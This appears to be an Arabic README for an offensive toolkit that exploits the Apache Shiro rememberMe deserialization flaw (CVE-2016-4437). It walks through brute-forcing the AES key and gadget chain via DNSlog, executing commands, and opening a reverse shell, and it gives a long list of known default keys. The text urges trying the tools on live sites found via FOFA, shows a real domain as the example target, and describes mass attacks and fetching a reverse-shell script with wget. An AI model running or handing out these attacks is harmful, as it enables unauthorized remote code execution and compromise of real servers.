
CVE-2016-4437-Shiro وحدة القوة العمياء لإزالة التسلسل ومفتاح، تنفيذ الأوامر، سكربت شل عكسي
CVE-2016-4437 Shiro<=1.2.4 إلغاء التسلسل، أداة تخمين الوحدة والمفتاح، تنفيذ الأوامر، شل عكسي
لأن Shiro يقوم بإلغاء تسلسل حقل rememberMe في ملف تعريف الارتباط، فإذا عُرفت طريقة ترميز Shiro، وتم ترميز الأمر الخبيث بهذه الطريقة ووضعه في ملف تعريف الارتباط في رأس HTTP، فعند قيام Shiro بإلغاء تسلسل حقل rememberMe من ملف تعريف الارتباط المرسل، سيتم تنفيذ الأمر المُدرج، مما يؤدي إلى تنفيذ الأوامر.
يستخدم Shiro افتراضيًا CookieRememberMeManager، وتكون معالجة ملف تعريف الارتباط كالتالي:
الحصول على قيمة cookie rememberMe → فك ترميز Base64 → فك تشفير AES → إلغاء التسلسل
linux/win10 كلاهما مناسب
python2/python3 كلاهما مناسب
نظرًا لوجود ysoserial.jar في مجلد module، فإن المشروع كبير نسبيًا، فاستميحك عذرًا.
docker pull medicean/vulapps:s_shiro_1
docker run -d -p 80:8080 medicean/vulapps:s_shiro_1
shiro_crack.py - استخدام وحدة التخمينيحتاج إلى الدمج مع http://dnslog.cn/
python3 shiro_crack.py http://www.baidu.com/login.do 1695jb.dnslog.cn
بعد النجاح، افحص السجل - تنسيق السجل هو {{key}}.{{module}}.dnslogurl
U3ByaW5nQmxhZGUAAAAAAA.CommonsBeanutils1.x9zm4v.dnslog.cn
وبذلك نعرف أن المفتاح الناجح هو U3ByaW5nQmxhZGUAAAAAAA==، والوحدة هي CommonsBeanutils1
نظرًا لأن المفتاح يحتوي على رموز مثل == و / و +، فإن هذا المشروع سيقوم بتسريبها قليلاً. يجب مقارنتها يدويًا مع مفاتيح الملحق 1.
ابحث عن موقع على FOFA لتجربته

shiro_crack.pyفي الواقع، هناك العديد من أدوات تخمين الوحدة والمفتاح على الإنترنت، لكنها عادةً ما تكتشف فقط ما إذا كان الاتصال ناجحًا دون معرفة الوحدة والمفتاح، لأنه بالنسبة لـ RCE بدون استجابة، يكون رمز الاستجابة دائمًا 200 سواء نجح أم لا. يحصل هذا المشروع بشكل غير مباشر على المفتاح والوحدة الناجحين من خلال دمج تخمين الوحدة والمفتاح مع DNSlog. المبدأ هو جوهر DNSlog، حيث تترك DNS سجلات عند تحليلها، ويتم الحصول على معلومات الطلب من خلال قراءة سجلات تحليل أسماء النطاقات متعددة المستويات.
shiro_rce.py - استخدام RCEيمكن الدمج مع http://dnslog.cn/
python3 shiro_crack.py http://www.baidu.com/login.do "ping rcetest.x9zm4v.dnslog.cn"
عند فحص سجلات DNSlog، نرى ping rcetest.x9zm4v.dnslog.cn. للتمييز، يُنصح باستخدام نطاق بمستوى أدنى.
shiro_rceCommonsBeanutils1 في السطر 13:
popen = subprocess.Popen(['java', '-jar', '../module/ysoserial.jar', 'CommonsBeanutils1', command], stdout=subprocess.PIPE)
إلى الوحدة التي نجح تخمينها.key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")

shiro_getshell - شل عكسيnc -lvnp 7777
python3 shiro_exp.py -u {{الهدف المهاجم}} -lh {{IP لجهاز الشل العكسي}} -lp {{منفذ الشل العكسي}}
للأمان، اختبر على الجهاز المحلي. المبدأ هو دمج JRMPListener مع الحمولة في أداة واحدة. في الواقع، يمكن الاستغناء عن jrmplistener.
shiro_getshell:

فكرة صغيرة
بما أنه يمكن الاتصال بالإنترنت، لماذا لا يمكن استخدام shiro_rec مباشرة مع bash للشل العكسي؟
لقد جربته عدة مرات وفشلت، أعتقد أن Shiro لديه بعض التصفية. لكنني اكتشفت أنه يمكن أولاً تنزيل برنامج نصي sh للشل العكسي باستخدام wget، ثم تنفيذه باستخدام sh.
راجع بحث صغير حول تنفيذ شل عكسي بدون استخدام jrmplistener
fuzz-shiroقم بإجراء اختبار بسيط بناءً على رأس الطلب ورأس الاستجابة - ضع مواقع Shiro في shiro.txt.
shiro_piliang_crack.pyيُقترح أولاً استخراج مواقع Shiro الموجودة في shiro.txt باستخدام fuzz-shiro، ثم تنفيذ هجوم جماعي.
سجل DNSlog سيكون:
{{key}}.{{module}}.{{url}}.dnsurl
لقد اختبرته وكانت النتائج جيدة.
No module named 'Crypto' عند التشغيل على Windows 10قم بتشغيل الأوامر التالية:
pip uninstall crypto pycryptodome
pip install pycryptodome
في دليل تثبيت Python، انتقل إلى Lib\site-packages، وقم بتغيير اسم مجلد crypto إلى Crypto.
kPH+bIxk5D2deZiIxcaaaA==
4AvVhmFLUs0KTA3Kprsdag==
Z3VucwAAAAAAAAAAAAAAAA==
fCq+/xW488hMTCD+cmJ3aQ==
0AvVhmFLUs0KTA3Kprsdag==
1AvVhdsgUs0FSA3SDFAdag==
1QWLxg+NYmxraMoxAXu/Iw==
25BsmdYwjnfcWmnhAciDDg==
2AvVhdsgUs0FSA3SDFAdag==
3AvVhmFLUs0KTA3Kprsdag==
3JvYhmBLUs0ETA5Kprsdag==
r0e3c16IdVkouZgk1TKVMg==
5aaC5qKm5oqA5pyvAAAAAA==
5AvVhmFLUs0KTA3Kprsdag==
6AvVhmFLUs0KTA3Kprsdag==
6NfXkC7YVCV5DASIrEm1Rg==
6ZmI6I2j5Y+R5aSn5ZOlAA==
cmVtZW1iZXJNZQAAAAAAAA==
7AvVhmFLUs0KTA3Kprsdag==
8AvVhmFLUs0KTA3Kprsdag==
8BvVhmFLUs0KTA3Kprsdag==
9AvVhmFLUs0KTA3Kprsdag==
OUHYQzxQ/W9e/UjiAGu6rg==
a3dvbmcAAAAAAAAAAAAAAA==
aU1pcmFjbGVpTWlyYWNsZQ==
bWljcm9zAAAAAAAAAAAAAA==
bWluZS1hc3NldC1rZXk6QQ==
bXRvbnMAAAAAAAAAAAAAAA==
ZUdsaGJuSmxibVI2ZHc9PQ==
wGiHplamyXlVB11UXWol8g==
U3ByaW5nQmxhZGUAAAAAAA==
MTIzNDU2Nzg5MGFiY2RlZg==
L7RioUULEFhRyxM7a2R/Yg==
a2VlcE9uR29pbmdBbmRGaQ==
WcfHGU25gNnTxTlmJMeSpw==
OY//C4rhfwNxCQAQCrQQ1Q==
5J7bIJIV0LQSN3c9LPitBQ==
f/SY5TIve5WWzT4aQlABJA==
bya2HkYo57u6fWh5theAWw==
WuB+y2gcHRnY2Lg9+Aqmqg==
kPv59vyqzj00x11LXJZTjJ2UHW48jzHN
3qDVdLawoIr1xFd6ietnwg==
ZWvohmPdUsAWT3=KpPqda
YI1+nBV//m7ELrIyDHm6DQ==
6Zm+6I2j5Y+R5aS+5ZOlAA==
2A2V+RFLUs+eTA3Kpr+dag==
6ZmI6I2j3Y+R1aSn5BOlAA==
SkZpbmFsQmxhZGUAAAAAAA==
2cVtiE83c4lIrELJwKGJUw==
fsHspZw/92PrS3XrPW+vxw==
XTx6CKLo/SdSgub+OPHSrw==
sHdIjUN6tzhl8xZMG3ULCQ==
O4pdf+7e+mZe8NyxMTPJmQ==
HWrBltGvEZc14h9VpMvZWw==
rPNqM6uKFCyaL10AK51UkQ==
Y1JxNSPXVwMkyvES/kJGeQ==
lT2UvDUmQwewm6mMoiw4Ig==
MPdCMZ9urzEA50JDlDYYDg==
xVmmoltfpb8tTceuT5R7Bw==
c+3hFGPjbgzGdrC+MHgoRQ==
ClLk69oNcA3m+s0jIMIkpg==
Bf7MfkNR0axGGptozrebag==
1tC/xrDYs8ey+sa3emtiYw==
ZmFsYWRvLnh5ei5zaGlybw==
cGhyYWNrY3RmREUhfiMkZA==
IduElDUpDDXE677ZkhhKnQ==
yeAAo1E8BOeAYfBlm4NG9Q==
cGljYXMAAAAAAAAAAAAAAA==
2itfW92XazYRi5ltW0M2yA==
XgGkgqGqYrix9lI6vxcrRw==
ertVhmFLUs0KTA3Kprsdag==
5AvVhmFLUS0ATA4Kprsdag==
s0KTA3mFLUprK4AvVhsdag==
hBlzKg78ajaZuTE0VLzDDg==
9FvVhtFLUs0KnA3Kprsdyg==
d2ViUmVtZW1iZXJNZUtleQ==
yNeUgSzL/CfiWw1GALg6Ag==
NGk/3cQ6F5/UNPRh8LpMIg==
4BvVhmFLUs0KTA3Kprsdag==
MzVeSkYyWTI2OFVLZjRzZg==
CrownKey==a12d/dakdad
empodDEyMwAAAAAAAAAAAA==
A7UzJgh1+EWj5oBFi+mSgw==
YTM0NZomIzI2OTsmIzM0NTueYQ==
c2hpcm9fYmF0aXMzMgAAAA==
i45FVt72K2kLgvFrJtoZRw==
U3BAbW5nQmxhZGUAAAAAAA==
ZnJlc2h6Y24xMjM0NTY3OA==
Jt3C93kMR9D5e8QzwfsiMw==
MTIzNDU2NzgxMjM0NTY3OA==
vXP33AonIp9bFwGl7aT7rA==
V2hhdCBUaGUgSGVsbAAAAA==
Z3h6eWd4enklMjElMjElMjE=
Q01TX0JGTFlLRVlfMjAxOQ==
ZAvph3dsQs0FSL3SDFAdag==
Is9zJ3pzNh2cgTHB4ua3+Q==
NsZXjXVklWPZwOfkvk6kUA==
GAevYnznvgNCURavBhCr1w==
66v1O8keKNV3TTcGPK1wzg==
SDKOLKn2J1j/2BHjeZwAoQ==